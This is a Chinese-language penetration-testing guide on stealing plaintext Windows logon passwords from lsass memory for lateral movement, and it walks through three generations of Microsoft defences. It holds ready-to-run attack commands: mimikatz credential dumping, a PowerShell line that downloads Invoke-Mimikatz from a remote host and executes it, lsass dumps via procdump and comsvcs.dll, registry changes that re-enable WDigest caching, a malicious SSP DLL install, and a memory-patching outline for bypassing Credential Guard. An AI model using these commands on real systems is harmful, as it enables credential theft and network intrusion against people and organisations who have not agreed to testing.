Windows系统明文口令获取技术总结
Windows 系统明文密码获取
一、背景介绍
1.1 获取明文密码的意义
内网环境中存在大量同口令的主机,在渗透测试中获取单台主机权限后,可利用该主机口令批量获取内网中多台主机权限,横向移动,扩大战果!
1.2 获取明文密码的原理
当用户登录后,会把账号密码保存在lsass中,lsass是微软Windows系统的安全机制,它用于本地安全和登录策略,通常我们在登录系统时输入密码之后,密码便会存储在lsass内存中,经过其wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中。
通过dump lsass进程内存,扫描签名得到 加密后的密码和加密密钥进行解密获取明文密码。
二、攻防对抗的发展
2.1 第一阶段——Windows Server 2008 R2及之前
(1)介绍
微软无任何防御手段,WDigest凭据缓存默认开启,直接从内存抓取即可。
(2)方法
方法一:在线获取
将mimikatz拷贝到目标服务器上,直接运行抓取密码。
1
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit > pass.txt
利用powershell
1
powershell "IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
方法二:离线获取(优点:目标主机杀软禁止mimikatz时可用)
① 利用dump工具dump lsass进程内存
包括如下几个dump工具:
- procdump(微软官方工具):
1
2procdump.exe -accepteula -ma lsass.exe lsass.dmp
#https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump通过comsvcs.dll的导出函数MiniDump实现dump内存(comsvcs.dll不需要上传文件)
1
2Get-Procee lsass
rundll32 C:\windows\system32\comsvcs.dll,MiniDump <PID> C:\lsass.dmp full在powershell中使用
Out-Minidump
Dump lsass进程直接使用任务管理器转储文件
sqldump:
……
②将dmp文件下载在本地利用mimikatz读取密码
1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit > pass.txt
2.2 第二阶段——Windows Server 2012 R2 及之后
(1)介绍
微软修改策略,默认禁用WDigest凭据缓存,无法从内存中抓取明文密码.
(2)方法
方法一:UseLogonCredential
微软提供了重新启用WDigest凭据缓存功能的选项,设置了注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDiges
t\UseLogonCredential,将其从0切换到1会强制WDigest重新缓存凭据,该方法需要修改注册表后用户重新输入密码登录系统。
具体步骤:
①使用如下命令修改注册表值:
1 | 修改为记录密码 |
②使用如下命令锁定屏幕:
1 | rundll32.exe user32.dll,LockWorkStation |
③抓取密码:
1 | mimikatz.exe privilege::debug sekurlsa::logonpasswords exit > pass.txt |
使用该方法在如下操作系统可以成功获取明文密码
- Windows Server 2012 R2 6.3.9600
- Windows server 2016 1607 10.0.14393
- Windows Server 2019 1809 17763.737
方法二:安全支持提供程序(SSP)
安全支持提供程序(SSP)是Windows API,用于扩展Windows身份验证机制。lsass进程在Windows启动期间会加载安全支持提供程序DLL,注册表项HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages对应为安全支持提供程序DLL,这就衍生出了相应的攻击思路:第一种思路是删除一个任意的SSP DLL以便于与lsass进程进行交互,第二种思路则是直接伪造一个SSP的dll来提取用户登录时的明文密码。
具体步骤:
①复制mimikatz目录下mimilib.dll(区分位数)到C:\Windows\system32目录,然后使用如下命令修改注册表值。
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f |
②等待系统重启后,在C:\Windows\system32目录下生成文件kiwissp.log
运用该原理也有其他的扩展方法,如下:
- mimikatz 的 misc::memssp
- 利用AddSecurityPackage API,不需要重启
2.3 第三阶段——Windows Defender Credential Guard
(1)介绍
从 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 开始,兼容系统默认已启用 Windows Defender Credential Guard。
启用 Windows Defender Credential Guard 后,操作系统中的 LSA 进程与存储和保护这些密钥的新组件(称为隔离的 LSA 进程)进行通信。 独立 LSA 进程存储的数据使用基于虚拟化的安全性进行保护,操作系统的其余部分无法访问。LSA 使用远程过程调用来与隔离的 LSA 进程进行通信。
win10系统可以通过手动启用 Windows Defender Credential Guard,在组策略->管理->系统->Device Guard
使用如下powershell命令可以检测是否启用 Windows Defender Credential Guard
1 | (Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard).SecurityServicesRunning |
还可以使用msinfo32.exe查看是否启用 Windows Defender Credential Guard
(2)方法
使用之前提到的方法均不能获取到明文密码。
g_IsCredGuardEnabled这个全局变量用于保存模块内 Credential Guard 的状态,并决定 Wdigest 后续是否使用 Credential Guard 兼容的功能。取消设置该变量或将其设为0可以绕过 Credential Guard 保护。
利用内存修补方法修改内存中全局变量值g_fParameter_useLogonCredential(同注册表中UseLogonCredential)和g_IsCredGuardEnabled,将在下一次用户输入用户名密码进行身份验证时保存用户的明文密码。